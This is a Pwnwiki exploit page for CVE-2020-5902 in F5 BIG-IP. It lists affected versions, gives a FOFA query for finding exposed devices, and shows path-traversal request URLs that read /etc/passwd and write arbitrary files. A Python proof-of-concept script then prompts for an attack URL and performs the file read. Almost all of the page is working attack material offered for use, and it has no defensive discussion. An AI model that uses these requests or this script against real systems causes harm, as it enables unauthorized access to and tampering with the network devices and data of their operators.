Pwnwiki: Created page with "CVE-2020-5902 F5 BIG-IP remote code execution vulnerability"

2021-06-09T10:03:11Z

Created page with "CVE-2020-5902 F5 BIG-IP remote code execution vulnerability"

New page

<languages />

==Vulnerability Impact==
<pre>
F5 BIG-IP 15.x: 15.1.0.4

F5 BIG-IP 14.x: 14.1.2.6

F5 BIG-IP 13.x: 13.1.3.4

F5 BIG-IP 12.x: 12.1.5.2

F5 BIG-IP 11.x: 11.6.5.2

</pre>

==FOFA==
<pre>
title="BIG-IP&reg ;- Redirect"
</pre>

==Exploit==
===Read file===
<pre>
http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
</pre>

===Write file===
<pre>
http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp

POST: fileName=/tmp/test.txt&content=test
</pre>

==POC==
<pre>
import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: F5 BIG-IP \033[0m')
print('+ \033[36m使用格式: python3 CVE-2020-5902.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
version_url = target_url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=version_url, timeout=10, verify=False, headers=headers)
if "output" in response.text:
print("\033[32m[o] 目标 {} 存在漏洞，响应为:\n{}\033[0m".format(target_url, json.loads(response.text)["output"]))
else:
print("\033[31m[x] 目标漏洞无法利用 \033[0m")

except Exception as e:
print("\033[31m[x] 目标漏洞无法利用 ,{}\033[0m".format(e))
sys.exit(0)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)

</pre>

==Reference==
https://short.pwnwiki.org/?c=Kum2Ch

CVE-2020-5902 F5 BIG-IP 遠程代碼執行漏洞/en - Revision history

Pwnwiki: Created page with "CVE-2020-5902 F5 BIG-IP remote code execution vulnerability"